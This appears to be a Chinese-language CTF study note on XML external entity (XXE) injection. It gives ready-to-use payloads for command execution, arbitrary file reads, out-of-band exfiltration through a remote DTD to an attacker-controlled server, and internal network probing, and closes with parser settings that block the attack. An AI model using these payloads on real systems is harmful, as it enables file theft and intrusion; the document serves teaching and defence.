漏洞原理
XXE漏洞就是XML外部实体注入,就是当xml引用外部实体并解析的时候会产生的漏洞,xml解析器去获取其中的外部资源并存储到内部实体中,攻击者可引用外部实体对目标进行文件读取、命令执行、DDOS、内网探测等。
利用方式
命令执行
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
<!ENTITY test SYSTEM "命令">
]>
<c>&test</c>
读取任意文件
有回显
不出网
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
如若有回显的话,我们可以直接读取文件
出网
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://ip地址/xxe.dtd" >
%xxe;]>
<foo>&a;</foo>
我们在我们的服务器上创建如下文件xxe.dtd
<!ENTITY evil SYSTEM “file:///文件路径” >
以一题为例
BUUCTF[NCTF2019]Fake XML cookbook
利用系统自带的dtd来实现任意文件读取
详情可以访问此连接https://mohemiv.com/tags/xxe/
<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message ANY>
<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % para1 SYSTEM "file:///flag">
<!ENTITY % ISOamso '
<!ENTITY % para2 "<!ENTITY &#x25; error SYSTEM 'file:///%para1;'>">
%para2;
'>
%remote;
]>
<message></message>
以BUU[GoogleCTF2019 Quals]Bnv为例
无回显
外部实体可以通过请求内部文件url获得内部文件内容,这样的话我们可以写两个外部参数实体,第一个用file协议请求本地文件并将内容保存在参数实体中,第二个用http或者ftp协议请求自己的服务器并带上文件内容。
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://IP地址/xml.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
%remote;
%send;
]>
<message></message>
xml.dtd
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://myip:10001/?%file;'>">
%start;
内部的%号要进行实体编码成%
内网探测
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
以一题目为例
BUU [NCTF2019]True XML cookbook
防御xxe漏洞
使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))